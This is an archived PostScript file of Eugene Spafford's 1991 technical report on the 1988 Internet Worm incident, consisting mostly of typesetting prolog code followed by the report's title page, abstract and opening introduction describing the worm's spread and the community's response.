DataMuseum.dk

Presents historical artifacts from the history of:

DKUUG/EUUG Conference tapes

This is an automatic "excavation" of a thematic subset of
artifacts from Datamuseum.dk's BitArchive.

See our Wiki for more about DKUUG/EUUG Conference tapes

Excavated with: AutoArchaeologist - Free & Open Source Software.


top - metrics - download
Index: T

⟦8eb9f7185⟧ TextFile

    Length: 172872 (0x2a348)
    Types: TextFile
    Names: »TR933.PS«

Derivation

└─⟦4f9d7c866⟧ Bits:30007245 EUUGD6: Sikkerheds distributionen
    └─⟦this⟧ »./worm/TR933.PS« 

TextFile

%!PS-Adobe-1.0
%%Creator: devps (Pipeline Associates, Inc.)
%%CreationDate: Thu Sep 19 16:52:50 1991
%%Pages: (atend)
%%DocumentFonts: (atend)

/X /exch load def
/r /rmoveto load def
/m /moveto load def
/l /lineto load def
/rl /rlineto load def
/lc{yc X xc X l st} bind def
/mc{yc X xc X m} bind def
/el{gs /a X def a div 1 X scale cp np a xc 2 div 0 360 arc st gr} bind def
/ar{cp 7 2 roll np xc 5 1 roll atan 3 1 roll atan X arc st} bind def
/sp{yc X xc X 6 2 roll yc X xc X 6 2 roll yc X xc X 6 2 roll ct} bind def
/st /stroke load def
/gs /gsave load def
/gr /grestore load def
/cp /currentpoint load def
/np /newpath load def
/ct /curveto load def
/m0{0 0 moveto} bind def
/BP{/devps-save save def m0} bind def
/EP{
clear devps-save restore
showpage} bind def
/res 10.000000 def
/V{res neg div 792 add
currentpoint pop X
m} bind def
/H{res div
currentpoint X pop
transform round exch round exch itransform
moveto} bind def
/h{res div 0 r} bind def
/v{res neg div 0 X r} bind def
/xc{res div} bind def
/yc{res neg div 792 add} bind def
/S{X H show} bind def
/psize 10 def
/height 1 def
/slant 0 def
/FF{findfont X dup 12 div setlinewidth /psize X def
    [psize 0 psize height mul slant sin slant cos div mul psize height mul 0 0]
    makefont setfont} bind def
/shade{gs
 /dy X def
 /dx X def
 np m
 setgray
 0 dy rl
 dx 0 rl
 0 dy neg rl
 dx neg 0 rl
 closepath
 fill
gr} bind def
1 setlinecap
50 dict dup begin
/FontType 3 def
/FontName /DIThacks def
/FontMatrix [.001 0.0 0.0 .001 0.0 0.0] def
/FontBBox [-220 -280 1000 1000] def
/Encoding 256 array def
0 1 255{Encoding exch /.notdef put}for
Encoding
 dup 8#040/space put 
 dup 8#110/rc put 
 dup 8#111/lt put 
 dup 8#112/bv put 
 dup 8#113/lk put 
 dup 8#114/lb put 
 dup 8#115/rt put 
 dup 8#116/rk put 
 dup 8#117/rb put 
 dup 8#120/rf put 
 dup 8#121/lf put 
 dup 8#122/lc put 
 dup 8#140/sq put 
 dup 8#141/bx put 
 dup 8#142/ci put 
 dup 8#143/br put 
 dup 8#144/rn put 
 dup 8#145/vr put 
 dup 8#146/ob put 
 dup 8#147/bu put 
 dup 8#150/ru put 
 dup 8#151/ul put 
 dup 8#326/sr put
 pop
/DITfd 100 dict def
/BuildChar{0 begin
 /cc exch def /fd exch def
 /charname fd /Encoding get cc get def
 /charwid fd /Metrics get charname get def
 /charproc fd /CharProcs get charname get def
 charwid 0 fd /FontBBox get aload pop setcachedevice
 2 setlinejoin 40 setlinewidth
 newpath 0 0 moveto gsave charproc grestore
 end}def
/BuildChar load 0 DITfd put
/CharProcs 50 dict def
CharProcs begin
/space{}def
/.notdef{}def
/ru{500 0 rls}def
/rn{0 750 moveto 500 0 rls}def
/vr{0 800 moveto 0 -770 rls}def
/bv{0 800 moveto 0 -1000 rls}def
/br{0 750 moveto 0 -1000 rls}def
/ul{0 -250 moveto 500 0 rls}def
/ob{200 250 rmoveto currentpoint newpath 200 0 360 arc closepath stroke}def
/bu{200 250 rmoveto currentpoint newpath 200 0 360 arc closepath fill}def
/sq{80 0 rmoveto currentpoint dround newpath moveto
    640 0 rlineto 0 640 rlineto -640 0 rlineto closepath stroke}def
/bx{80 0 rmoveto currentpoint dround newpath moveto
    640 0 rlineto 0 640 rlineto -640 0 rlineto closepath fill}def
/ci{355 333 rmoveto currentpoint newpath 333 0 360 arc
    50 setlinewidth stroke}def

/lt{0 -200 moveto 0 550 rlineto currx 800 2cx s4 add exch s4 a4p stroke}def
/lb{0 800 moveto 0 -550 rlineto currx -200 2cx s4 add exch s4 a4p stroke}def
/rt{0 -200 moveto 0 550 rlineto currx 800 2cx s4 sub exch s4 a4p stroke}def
/rb{0 800 moveto 0 -500 rlineto currx -200 2cx s4 sub exch s4 a4p stroke}def
/lk{0 800 moveto 0 300 -300 300 s4 arcto pop pop 1000 sub
    0 300 4 2 roll s4 a4p 0 -200 lineto stroke}def
/rk{0 800 moveto 0 300 s2 300 s4 arcto pop pop 1000 sub
    0 300 4 2 roll s4 a4p 0 -200 lineto stroke}def
/lf{0 800 moveto 0 -1000 rlineto s4 0 rls}def
/rf{0 800 moveto 0 -1000 rlineto s4 neg 0 rls}def
/lc{0 -200 moveto 0 1000 rlineto s4 0 rls}def
/rc{0 -200 moveto 0 1000 rlineto s4 neg 0 rls}def
/sr{395.744681 0 moveto 557.446809 995.744681 lineto 521.276596 1000 lineto
    382.978723 170.212766 lineto 168.085106 602.127660 lineto
    8.510638 525.531915 lineto 23.404255 496.170213 lineto
    127.659574 546.808511 lineto 395.744681 0 lineto closepath fill} def
end

/Metrics 50 dict def Metrics begin
/.notdef 0 def
/space 500 def
/ru 500 def
/br 0 def
/lt 416 def
/lb 416 def
/rt 416 def
/rb 416 def
/lk 416 def
/rk 416 def
/rc 416 def
/lc 416 def
/rf 416 def
/lf 416 def
/bv 416 def
/ob 350 def
/bu 350 def
/ci 750 def
/bx 750 def
/sq 750 def
/rn 500 def
/ul 500 def
/vr 0 def
/sr 750 def
end

DITfd begin
/s2 500 def /s4 250 def /s3 333 def
/a4p{arcto pop pop pop pop}def
/2cx{2 copy exch}def
/rls{rlineto stroke}def
/currx{currentpoint pop}def
/dround{transform round exch round exch itransform} def
end
end
/DIThacks exch definefont pop


/DocumentInitState [ matrix currentmatrix currentlinewidth currentlinecap
currentlinejoin currentdash currentgray currentmiterlimit ] cvx def

/resolution 720 def

/startFig {
      /SavedState save def
      userdict maxlength dict begin
      currentpoint transform

      DocumentInitState setmiterlimit setgray setdash setlinejoin setlinecap
              setlinewidth setmatrix

      itransform moveto

      /ury exch def
      /urx exch def
      /lly exch def
      /llx exch def
      /y exch 72 mul resolution div def
      /x exch 72 mul resolution div def

      currentpoint /cy exch def /cx exch def

      /sx x urx llx sub div def       % scaling for x
      /sy y ury lly sub div def       % scaling for y

      sx sy scale                     % scale by (sx,sy)

      cx sx div llx sub
      cy sy div ury sub translate

      /DefFigCTM matrix currentmatrix def

      /initmatrix {
              DefFigCTM setmatrix
      } def
      /defaultmatrix {
              DefFigCTM exch copy
      } def

      /initgraphics {
              DocumentInitState setmiterlimit setgray setdash
                      setlinejoin setlinecap setlinewidth setmatrix
              DefFigCTM setmatrix
      } def

      /showpage {
              initgraphics
      } def

} def
/clipFig {
      currentpoint 6 2 roll
      newpath 4 copy
      4 2 roll moveto
      6 -1 roll exch lineto
      exch lineto
      exch lineto
      closepath clip
      newpath
      moveto
} def
/doclip { llx lly urx ury clipFig } def
/endFig {
      end SavedState restore
} def
/globalstart {
      % Push details about the enviornment on the stack.
      fontnum fontsize fontslant fontheight
      % firstpage
      mh my resolution slotno currentpoint
      pagesave restore gsave
} def
/globalend {
      grestore moveto
      /slotno exch def /resolution exch def /my exch def
      /mh exch def
      % /firstpage exch def
      /fontheight exch def
      /fontslant exch def /fontsize exch def /fontnum exch def
      F
      /pagesave save def
} def
/C{/Courier FF}def
/R{/Times-Roman FF}def
/B{/Times-Bold FF}def
/I{/Times-Italic FF}def
/Y{/Symbol FF}def
%% Troff special characters not on Symbol font
%% Copyright (C) 1986 by Pipeline Associates, Inc.
%% Version 1.0
/altRTD 20 dict def
altRTD begin
/s{setcachedevice}def
/C{1000 1000 scale}def
/m /moveto load def
/c /curveto load def
/S /stroke load def
/l /lineto load def
/a /arcto load def
/p /pop load def
/sl /setlinewidth load def

end
/F_Troff 17 dict def F_Troff begin
systemdict /currentpacking known
{/SavePacking currentpacking def true setpacking}if
/PaintType 0 def
/FontType 3 def
/StrokeWidth 0 def
/UniqueID 8277003 def
/FontMatrix [.001000 0 0 .001000 0 0] def
/FontBBox [-12 -105 942 855 ] def
/Encoding 256 array def
/CD 256 1 add dict def
/FontInfo 3 dict def FontInfo begin
/UnderlinePosition -133 def /UnderlineThickness 20 def end
/FontName (Troff) def
0 1 256 1 sub{Encoding exch /.notdef put}for
CD /.notdef{500 0 setcharwidth{}}put
Encoding (1) 0 get /br put
%% bold vertical rule used by tbl
CD /br{
C
0 0 -.5 -.5 1 1 s
np
.05 sl
0 -.1 m
0 .9 l
{S}
}put
Encoding (2) 0 get /ul put
%% underline used by tbl
CD /ul{
C
.5 0 -.5 -.5 1 1 s
np
.05 sl
0 -.1 m
.5 -.1 l
{S}
}put
Encoding (3) 0 get /ru put
%% baseline rule
CD /ru{
C
.5 0 -.5 -.5 1 1 s
np
.05 sl
m0
.5 0 l
{S}
}put
Encoding (4) 0 get /vr put
%% vertical rule
CD /vr{
C
0 0 -.5 -.5 1 1 s
np
.05 sl
m0
0 1 l
{S}
}put
Encoding (5) 0 get /sq put
%% square
CD /sq{
C
.5 0 -.5 -.5 1 1 s
np
.05 sl
0 .25 m
0 .5 rl
.5 0 rl
0 -.5 rl
-.5 0 rl
closepath
{S}
}put
Encoding (6) 0 get /bx put
%% solid box
CD /bx{
C
.5 0 -.5 -.5 1 1 s
np
0 .25 m
0 .5 rl
.5 0 rl
0 -.5 rl
-.5 0 rl
closepath
{fill}
}put
Encoding (7) 0 get /rn put
%% radical extender
CD /rn{
C
.5 0 -.5 -.5 1 1 s
np
.03 sl
-.03 .9 m
.5 0 rl
{S}
}put
Encoding (8) 0 get /GR put
%% gray mask
CD /GR{
C
.5 0 setcharwidth
.5 setgray
np
0 -.1 m
0 1 rl
.5 0 rl
0 -1 rl
-.5 0 rl
closepath
{fill}
}put
Encoding 97 /a put
CD /a{1000 0 0 66 942 421 s 430 415
m 578 406 678 349 662 319 c 655 306 614 287 583
296 c 570 300 466 340 438 332 c 365 309 335 213
270 209 c 0 310 m 108 310 l 108 114 l 0
114 l 0 310 l 42 161 m 42 134 l 66 134 l 66
161 l 42 161 l 47 155 m 47 140 l 62 140 l 62
155 l 47 155 l 110 133 m 226 113 300 66 410
80 c 497 91 550 69 634 76 c 645 76 663 92 669
107 c 677 125 673 141 668 160 c 725 334 m 758
332 734 253 701 250 c 501 325 m 475 316 476 309
473 302 c 465 282 482 263 499 257 c 552 236 615
253 689 253 c 701 253 713 236 713 218 c 712 194
702 168 678 161 c 671 159 663 160 655 160 c 591
158 516 156 479 168 c 461 173 453 191 453 210 c 453
224 456 235 466 244 c 476 253 490 252 503 255 c 459
84 m 447 96 435 106 435 123 c 435 136 440 145 447
155 c 453 163 462 168 469 173 c 110 293 m 173
318 300 421 435 415 c 609 407 852 416 885 411 c 898
409 924 411 930 380 c 942 316 828 339 742 334 c 731
334 730 335 725 335 c 701 336 685 336 660 336 c{S}}put
Encoding 98 /b put
CD /b{1000 0 -12 66 930 421 s 500
415 m 352 406 252 349 268 319 c 275 306 316 287
347 296 c 360 300 464 340 492 332 c 565 309 595
213 660 209 c 930 310 m 822 310 l 822 114 l 930
114 l 930 310 l 888 161 m 888 134 l 864 134
l 864 161 l 888 161 l 883 155 m 883 140 l 868
140 l 868 155 l 883 155 l 820 133 m 704 113
630 66 520 80 c 433 91 380 69 296 76 c 285 76
267 92 261 107 c 253 125 257 141 262 160 c 205
334 m 172 332 196 253 229 250 c 429 325 m 455
316 454 309 457 302 c 465 282 448 263 431 257 c 378
236 315 253 241 253 c 229 253 217 236 217 218 c 218
194 228 168 252 161 c 259 159 267 160 275 160 c 339
158 414 156 451 168 c 469 173 477 191 477 210 c 477
224 474 235 464 244 c 454 253 440 252 427 255 c 471
84 m 483 96 495 106 495 123 c 495 136 490 145 483
155 c 477 163 468 168 461 173 c 820 293 m 757
318 630 421 495 415 c 321 407 78 416 45 411 c 32
409 6 411 0 380 c -12 316 102 339 188 334 c 199
334 200 335 205 335 c 229 336 245 336 270 336 c{S}}put
Encoding 99 /c put
CD /c{1000 0 184 0 827 627 s 185 315
m 186 488 332 627 505 625 c 682 623 827 467 815
290 c 804 124 666 0 500 0 c 327 0 184 142 185
315 c{S}}put
Encoding 100 /d put
CD /d{590 0 134 158 477 500 s 300
160 m 208 162 134 238 135 330 c 136 423 212 500
305 500 c 397 500 473 427 475 335 c 477 239 396
158 300 160 c{fill}}put
Encoding 101 /e put	% Bell Symbol
CD /e{1010 0 -100 -210 1010 1010 s 100 sl 0 setlinecap
420 300 450 0 360 arc
420 650 m 420 575 l S
newpath 120 125 m 720 125 l 75 sl S
420 125 m 420 25 l S
220 400 m 220 175 120 175 100 a p p p p
220 400 m 220 550 420 550 80 a p p p p 
620 400 m 620 175 720 175 100 a p p p p
620 400 m 620 550 420 550 80 a p p p p
295 550 m 545 550 l{S}}put
/BuildChar{altRTD /BuildChar get exec}def end
altRTD begin /BuildChar{altRTD begin
/char exch def /fontdict exch def save
/charname fontdict /Encoding get char get def
fontdict /StrokeWidth get sl
fontdict /CD get dup charname known
{charname}{/.notdef}ifelse get newpath exec
fontdict /PaintType get 0 eq{exec}{p S}ifelse
restore end}def end
systemdict /currentpacking known{F_Troff /SavePacking get setpacking}if
/Troff F_Troff definefont pop
/Y1{/Troff FF}def
%%EndProlog
%%Page: 0 1
BP
/slant 0 def
/height 1.000000 def
10 C
10 R
1230 V
12 B
2135(The)S
2371(Internet)S
2827(Worm)S
3196(Incident)S
1530 V
2056(Technical)S
2593(Report)S
2988(CSD-TR-933)S
1470 V
10 B
3653(*)S
1770 V
10 I
2479(Eugene)S
2808(H.)S
2935(Spafford)S
1950 V
10 R
2183(Department)S
2684(of)S
2797(Computer)S
3227(Sciences)S
2070 V
2512(Purdue)S
2825(University)S
2190 V
2123(West)S
2358(Lafayette,)S
2789(IN)S
2924(USA)S
3154(47907-2004)S
2430 V
2474(spaf@cs.purdue.edu)S
2946 V
1330(On)S
1497(the)S
1664(evening)S
2025(of)S
2154(2)S
2250(November)S
2717(1988,)S
2988(someone)S
3389(``infected'')S
3888(the)S
4056(Internet)S
4412(with)S
4636(a)S
3066 V
10 I
1080(worm)S
10 R
1347(program.)S
1779(That)S
2000(program)S
2376(exploited)S
2786(\257aws)S
3035(in)S
3151(utility)S
3429(programs)S
3844(in)S
3960(systems)S
4315(based)S
4580(on)S
3186 V
1080(BSD-derived)S
1655(versions)S
2036(of)S
2167(U)S
8 R
2239(NIX)S
10 R
2381(.)S
2484(The)S
2687(\257aws)S
2946(allowed)S
3310(the)S
3480(program)S
3867(to)S
3994(break)S
4264(into)S
4469(those)S
3306 V
1080(machines)S
1490(and)S
1667(copy)S
1894(itself,)S
2152(thus)S
2352(infecting)S
2740(those)S
2984(systems.)S
3389(This)S
3600(program)S
3971(eventually)S
4420(spread)S
3426 V
1080(to)S
1195(thousands)S
1632(of)S
1752(machines,)S
2191(and)S
2372(disrupted)S
2782(normal)S
3103(activities)S
3502(and)S
3684(Internet)S
4032(connectivity)S
4564(for)S
3546 V
1080(many)S
1332(days.)S
3702 V
1330(This)S
1547(paper)S
1807(explains)S
2180(why)S
2392(this)S
2577(program)S
2955(was)S
3150(a)S
3234(worm)S
3507(\(as)S
3663(opposed)S
4036(to)S
4154(a)S
4238(virus\),)S
4536(and)S
3822 V
1080(provides)S
1460(a)S
1539(brief)S
1762(chronology)S
2252(of)S
2370(both)S
2583(the)S
2740(spread)S
3035(and)S
3214(eradication)S
3692(of)S
3810(the)S
3967(program.)S
4395(That)S
4613(is)S
3942 V
1080(followed)S
1471(by)S
1607(discussion)S
2060(of)S
2179(some)S
2426(speci\256c)S
2767(issues)S
3042(raised)S
3317(by)S
3454(the)S
3613(community's)S
4178(reaction)S
4536(and)S
4062 V
1080(subsequent)S
1559(discussion)S
2011(of)S
2129(the)S
2286(event.)S
2592(Included)S
2976(are)S
3132(some)S
3378(interesting)S
3835(lessons)S
4159(learned)S
4486(from)S
4182 V
1080(the)S
1232(incident.)S
4662 V
720(September)S
1177(19,)S
1332(1991)S
7920 V
EP
%%Page: 1 2
BP
/slant 0 def
/height 1.000000 def
10 R
10 R
1230 V
12 B
2135(The)S
2371(Internet)S
2827(Worm)S
3196(Incident)S
1530 V
2056(Technical)S
2593(Report)S
2988(CSD-TR-933)S
1470 V
10 B
3653(*)S
1770 V
10 I
2479(Eugene)S
2808(H.)S
2935(Spafford)S
1950 V
10 R
2183(Department)S
2684(of)S
2797(Computer)S
3227(Sciences)S
2070 V
2512(Purdue)S
2825(University)S
2190 V
2123(West)S
2358(Lafayette,)S
2789(IN)S
2924(USA)S
3154(47907-2004)S
2430 V
2474(spaf@cs.purdue.edu)S
2790 V
10 B
720(1.)S
855(Introduction)S
2946 V
10 R
970(Worldwide,)S
1477(over)S
1687(60,000)S
1995(computers)S
2896 V
7 R
2411(\262)S
2946 V
10 R
2479(in)S
2590(interconnecting)S
3244(networks)S
3644(communicate)S
4216(using)S
4467(a)S
4545(common)S
4929(set)S
3066 V
720(of)S
845(protocols\320the)S
1481(Internet)S
1833(Protocols)S
2252(\(IP\).[7,)S
2556(15])S
2730(On)S
2893(the)S
3056(evening)S
3413(of)S
3537(2)S
3628(November)S
4090(1988)S
4331(this)S
4517(network)S
4885(\(the)S
3186 V
720(Internet\))S
1097(came)S
1341(under)S
1603(attack)S
1876(from)S
2105(within.)S
2451(Sometime)S
2892(after)S
3109(5)S
3194(PM)S
3374(EST,)S
3612(a)S
3691(program)S
4064(was)S
4254(executed)S
4643(on)S
4778(one)S
4957(or)S
3306 V
720(more)S
957(of)S
1072(these)S
1309(hosts.)S
1602(That)S
1817(program)S
2187(collected)S
2579(host,)S
2803(network,)S
3187(and)S
3363(user)S
3561(information,)S
4090(then)S
4294(used)S
4509(that)S
4691(informa-)S
3426 V
720(tion)S
907(to)S
1016(establish)S
1397(network)S
1755(connections)S
2263(and)S
2438(break)S
2691(into)S
2879(other)S
3116(machines)S
3525(using)S
3774(\257aws)S
4017(present)S
4337(in)S
4447(those)S
4690(systems')S
3546 V
720(software.)S
1159(After)S
1410(breaking)S
1800(in,)S
1944(the)S
2107(program)S
2486(would)S
2777(replicate)S
3161(itself)S
3402(and)S
3587(the)S
3750(replica)S
4062(would)S
4353(attempt)S
4694(to)S
4813(infect)S
3666 V
720(other)S
966(systems)S
1324(in)S
1443(the)S
1606(same)S
1852(manner.)S
2247(Although)S
2666(the)S
2830(program)S
3210(would)S
3502(only)S
3722(infect)S
3991(Sun)S
4189(Microsystems)S
4792(Sun)S
4990(3)S
3786 V
720(systems,)S
1101(and)S
1284(V)S
8 R
1356(AX)S
3746 V
8 Y
1472(\324)S
3786 V
10 R
1582(computers)S
2037(running)S
2387(variants)S
2743(of)S
2866(4)S
2956(BSD)S
3736 V
7 R
3151(\263)S
3786 V
10 R
3226(U)S
8 R
3298(NIX)S
10 R
3440(,)S
3736 V
10 Y
3465(\322)S
3786 V
10 R
3584(the)S
3746(program)S
4124(spread)S
4424(quickly,)S
4789(as)S
4912(did)S
3906 V
720(the)S
878(confusion)S
1308(and)S
1488(consternation)S
2062(of)S
2181(system)S
2495(administrators)S
3103(and)S
3283(users)S
3524(as)S
3643(they)S
3851(discovered)S
4319(that)S
4505(their)S
4723(systems)S
4026 V
720(had)S
908(been)S
1140(invaded.)S
1555(Although)S
1977(U)S
8 R
2049(NIX)S
10 R
2235(has)S
2413(long)S
2636(been)S
2869(known)S
3186(to)S
3309(have)S
3542(some)S
3798(security)S
4159(weaknesses)S
4669(\(cf.)S
4849([22],)S
4146 V
720([13,)S
894(21,)S
1035(29]\),)S
1268(especially)S
1709(in)S
1829(its)S
1966(usual)S
2219(mode)S
2483(of)S
2608(operation)S
3027(in)S
3146(open)S
3381(research)S
3753(environments,)S
4363(the)S
4526(scope)S
4794(of)S
4918(the)S
4266 V
720(break-ins)S
1121(nonetheless)S
1617(came)S
1857(as)S
1970(a)S
2044(great)S
2273(surprise)S
2619(to)S
2727(almost)S
3024(everyone.)S
4422 V
970(The)S
1169(program)S
1551(was)S
1750(mysterious)S
2233(to)S
2355(users)S
2604(at)S
2720(sites)S
2942(where)S
3229(it)S
3330(appeared.)S
3789(Unusual)S
4167(\256les)S
4379(were)S
4617(left)S
4795(in)S
4918(the)S
4542 V
720(scratch)S
1033(\(/usr/tmp\))S
1463(directories)S
1914(of)S
2027(some)S
2268(machines,)S
2700(and)S
2874(strange)S
3192(messages)S
3599(appeared)S
3988(in)S
4096(the)S
4248(log)S
4406(\256les)S
4603(of)S
4716(some)S
4957(of)S
4662 V
720(the)S
872(utilities,)S
1228(such)S
1441(as)S
1554(the)S
10 I
1706(sendmail)S
10 R
2097(mail)S
2305(handling)S
2685(agent.)S
2986(The)S
3171(most)S
3396(noticeable)S
3836(e)S
3880 H
	(f)show 10 -.5 mul h (f)show
10 R
3941(ect,)S
4113(however,)S
4512(was)S
4698(that)S
4879(sys-)S
4782 V
720(tems)S
943(became)S
1281(more)S
1519(and)S
1696(more)S
1934(loaded)S
2233(with)S
2444(running)S
2788(processes)S
3203(as)S
3319(they)S
3524(became)S
3861(repeatedly)S
4309(infected.)S
4718(As)S
4862(time)S
4902 V
720(went)S
955(on,)S
1121(some)S
1373(of)S
1497(these)S
1743(machines)S
2161(became)S
2506(so)S
2636(loaded)S
2944(that)S
3136(they)S
3350(were)S
3585(unable)S
3893(to)S
4013(continue)S
4399(any)S
4585(processing;)S
5022 V
720(some)S
961(machines)S
1368(failed)S
1625(completely)S
2099(when)S
2345(their)S
2558(swap)S
2793(space)S
3044(or)S
3157(process)S
3486(tables)S
3749(were)S
3972(exhausted.)S
5178 V
970(By)S
1119(early)S
1350(Thursday)S
1759(morning,)S
2155(November)S
2608(3,)S
2715(personnel)S
3135(at)S
3239(the)S
3393(University)S
3847(of)S
3962(California)S
4399(at)S
4503(Berkeley)S
4896(and)S
5298 V
720(Massachusetts)S
1340(Institute)S
1711(of)S
1837(Technology)S
2357(had)S
2544(``captured'')S
3061(copies)S
3358(of)S
3483(the)S
3647(program)S
4027(and)S
4213(began)S
4493(to)S
4613(analyze)S
4959(it.)S
5418 V
720(People)S
1027(at)S
1134(other)S
1375(sites)S
1589(also)S
1786(began)S
2060(to)S
2174(study)S
2427(the)S
2585(program)S
2959(and)S
3139(were)S
3368(developing)S
3848(methods)S
4223(of)S
4342(eradicating)S
4821(it.)S
4968(A)S
5538 V
720(common)S
1109(fear)S
1302(was)S
1496(that)S
1685(the)S
1846(program)S
2223(was)S
2417(somehow)S
2839(tampering)S
3282(with)S
3498(system)S
3814(resources)S
4228(in)S
4344(a)S
4426(way)S
4630(that)S
4818(could)S
5658 V
720(not)S
883(be)S
1012(readily)S
1324(detected\320that)S
1941(while)S
2198(a)S
2277(cure)S
2484(was)S
2675(being)S
2933(sought,)S
3261(system)S
3575(\256les)S
3778(were)S
4007(being)S
4265(altered)S
4572(or)S
4691(informa-)S
5778 V
720(tion)S
931(destroyed.)S
1429(By)S
1601(5)S
1706(AM)S
1922(EST)S
2155(Thursday)S
2587(morning,)S
3006(less)S
3211(than)S
3438(12)S
3593(hours)S
3870(after)S
4107(the)S
4283(program)S
4675(was)S
4884(\256rst)S
5898 V
720(discovered)S
1185(on)S
1318(the)S
1473(network,)S
1858(the)S
2013(Computer)S
2446(Systems)S
2813(Research)S
3212(Group)S
3501(at)S
3607(Berkeley)S
4001(had)S
4179(developed)S
4623(an)S
4751(interim)S
6018 V
720(set)S
876(of)S
1004(steps)S
1248(to)S
1370(halt)S
1564(its)S
1703(spread.)S
2062(This)S
2284(included)S
2672(a)S
2760(preliminary)S
3270(patch)S
3530(to)S
3652(the)S
10 I
3818(sendmail)S
10 R
4223(mail)S
4445(agent,)S
4730(and)S
4918(the)S
6138 V
720(suggestion)S
1185(to)S
1300(rename)S
1630(one)S
1812(or)S
1933(both)S
2149(of)S
2270(the)S
2430(C)S
2535(compiler)S
2928(and)S
3110(loader)S
3397(to)S
3513(prevent)S
3850(their)S
4071(use.)S
4297(These)S
4573(suggestions)S
6258 V
720(were)S
965(published)S
1405(in)S
1534(mailing)S
1891(lists)S
2104(and)S
2299(on)S
2450(the)S
2623(Usenet)S
2951(network)S
3329(news)S
3585(system,)S
3939(although)S
4340(their)S
4574(spread)S
4885(was)S
6358 V
8 Y1
720(333333333333333333)S
6476 V
8 R
820(*)S
900(This)S
1075(paper)S
1284(appears)S
1559(in)S
1655(the)S
1786(Proceedings)S
2209(of)S
2309(the)S
2440(1989)S
2634(European)S
2973(Software)S
3294(Engineering)S
3717(Conference)S
4117(\(ESEC)S
4374(89\),)S
4534(pub-)S
6576 V
720(lished)S
934(by)S
1038(Springer-Verlag)S
1578(as)S
1668(#87)S
1812(in)S
1898(the)S
2019(``Lecture)S
2337(Notes)S
2547(in)S
2633(Computer)S
2976(Science'')S
3299(series.)S
6694 V
820(\262)S
900(As)S
1018(presented)S
1351(by)S
1461(Mark)S
1663(Lottor)S
1892(at)S
1979(the)S
2106(October)S
2392(1988)S
2582(Internet)S
2858(Engineering)S
3277(Task)S
3462(Force)S
3673(\(IETF\))S
3924(meeting)S
4210(in)S
4302(Ann)S
4470(Arbor,)S
6794 V
720(MI.)S
6912 V
820(\263)S
900(BSD)S
1081(is)S
1158(an)S
1257(acronym)S
1559(for)S
1675(Berkeley)S
1986(Software)S
2297(Distribution.)S
7030 V
8 Y
820(\322)S
8 R
923(U)S
6 R
981(NIX)S
8 R
1111(is)S
1188(a)S
1247(registered)S
1583(trademark)S
1928(of)S
2018(AT&T)S
2260(Laboratories.)S
7148 V
8 Y
820(\324)S
8 R
931(V)S
6 R
989(AX)S
8 R
1099(is)S
1176(a)S
1235(trademark)S
1580(of)S
1670(Digital)S
1915(Equipment)S
2289(Corporation.)S
7920 V
EP
%%Page: 2 3
BP
/slant 0 def
/height 1.000000 def
8 R
8 R
480 V
10 R
2792(- 2 -)S
840 V
720(hampered)S
1143(by)S
1273(systems)S
1620(disconnected)S
2171(from)S
2395(the)S
2547(Internet)S
2887(in)S
2995(an)S
3119(attempt)S
3449(to)S
3557(``quarantine'')S
4140(them.)S
996 V
970(By)S
1119(about)S
1373(9)S
1455(PM)S
1633(EST)S
1844(Thursday,)S
2279(another)S
2611(simple,)S
2936(e)S
2980 H
	(f)show 10 -.5 mul h (f)show
10 R
3041(ective)S
3312(method)S
3645(of)S
3761(stopping)S
4139(the)S
4294(invading)S
4677(program,)S
1116 V
720(without)S
1064(altering)S
1407(system)S
1722(utilities,)S
2085(was)S
2277(discovered)S
2746(at)S
2855(Purdue)S
3175(and)S
3356(also)S
3554(widely)S
3863(published.)S
4344(Software)S
4741(patches)S
1236 V
720(were)S
952(posted)S
1252(by)S
1391(the)S
1552(Berkeley)S
1951(group)S
2223(at)S
2334(the)S
2495(same)S
2739(time)S
2956(to)S
3073(mend)S
3334(all)S
3473(the)S
3634(\257aws)S
3884(that)S
4073(enabled)S
4422(the)S
4584(program)S
4962(to)S
1356 V
720(invade)S
1025(systems.)S
1436(All)S
1603(that)S
1792(remained)S
2202(was)S
2396(to)S
2513(analyze)S
2856(the)S
3017(code)S
3243(that)S
3431(caused)S
3740(the)S
3900(problems)S
4310(and)S
4492(discover)S
4868(who)S
1476 V
720(had)S
894(unleashed)S
1323(the)S
1475(worm\320and)S
1982(why.)S
2239(In)S
2352(the)S
2504(weeks)S
2783(that)S
2963(followed,)S
3373(other)S
3609(well-publicized)S
4261(computer)S
4669(break-ins)S
1596 V
720(occurred)S
1103(and)S
1282(many)S
1539(debates)S
1873(began)S
2146(about)S
2403(how)S
2610(to)S
2723(deal)S
2924(with)S
3137(the)S
3294(individuals)S
3774(staging)S
4098(these)S
4337(break-ins,)S
4767(who)S
4973(is)S
1716 V
720(responsible)S
1208(for)S
1357(security)S
1706(and)S
1883(software)S
2259(updates,)S
2622(and)S
2799(the)S
2954(future)S
3225(roles)S
3452(of)S
3569(networks)S
3969(and)S
4147(security.)S
4552(The)S
4741(conclu-)S
1836 V
720(sion)S
926(of)S
1048(these)S
1292(discussions)S
1786(may)S
1996(be)S
2128(some)S
2377(time)S
2593(in)S
2709(coming)S
3047(because)S
3400(of)S
3521(the)S
3681(complexity)S
4169(of)S
4290(the)S
4450(topics,)S
4752(but)S
4918(the)S
1956 V
720(ongoing)S
1089(debate)S
1390(should)S
1698(be)S
1833(of)S
1957(interest)S
2292(to)S
2411(computer)S
2829(professionals)S
3397(everywhere.)S
3957(A)S
4070(few)S
4260(of)S
4385(those)S
4638(issues)S
4919(are)S
2076 V
720(summarized)S
1238(later.)S
2232 V
970(After)S
1223(a)S
1311(brief)S
1543(discussion)S
2004(of)S
2131(why)S
2347(the)S
2513(November)S
2978(2nd)S
3172(program)S
3554(has)S
3731(been)S
3963(called)S
4245(a)S
10 I
4333(worm,)S
10 R
4630(this)S
4819(paper)S
2352 V
720(describes)S
1131(how)S
1343(the)S
1505(program)S
1883(worked.)S
2277(This)S
2494(is)S
2600(followed)S
2994(by)S
3133(a)S
3216(chronology)S
3710(of)S
3832(the)S
3993(spread)S
4292(and)S
4475(eradication)S
4957(of)S
2472 V
720(the)S
886(Worm,)S
1210(and)S
1398(concludes)S
1841(with)S
2063(some)S
2318(observations)S
2867(and)S
3056(remarks)S
3422(about)S
3689(the)S
3856(community's)S
4429(reaction)S
4795(to)S
4918(the)S
2592 V
720(whole)S
994(incident,)S
1371(as)S
1484(well)S
1686(as)S
1799(some)S
2040(remarks)S
2391(about)S
2643(potential)S
3023(consequences)S
3601(for)S
3747(the)S
3899(author)S
4184(of)S
4297(the)S
4449(Worm.)S
2832 V
10 B
